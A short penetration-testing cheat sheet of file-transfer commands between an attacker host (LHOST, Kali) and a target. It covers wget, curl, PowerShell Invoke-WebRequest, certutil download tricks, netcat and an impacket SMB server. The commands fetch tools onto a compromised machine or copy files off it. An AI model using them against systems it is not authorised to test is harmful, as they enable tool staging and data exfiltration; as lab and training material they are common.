# File Transfer

## Linux

```bash
wget http://lhost/file
```

```bash
curl http://<LHOST>/<FILE> > <OUTPUT_FILE>
```

## Windows

{% code fullWidth="false" %}

```powershell
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
```

{% endcode %}

```powershell
iwr -uri http://lhost/file -Outfile file
```

```powershell
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
```

```powershell
copy \\kali\share\file .
```

## File transfer using Netcat

```bash
#Attacker
nc <target_ip> 1234 < nmap

#Target
nc -lvp 1234 > nmap
```

## File transfer using SMB

```bash
# Kali
impacket-smbserver -smb2support <sharename> .

# Win
copy file \\KaliIP\sharename
```
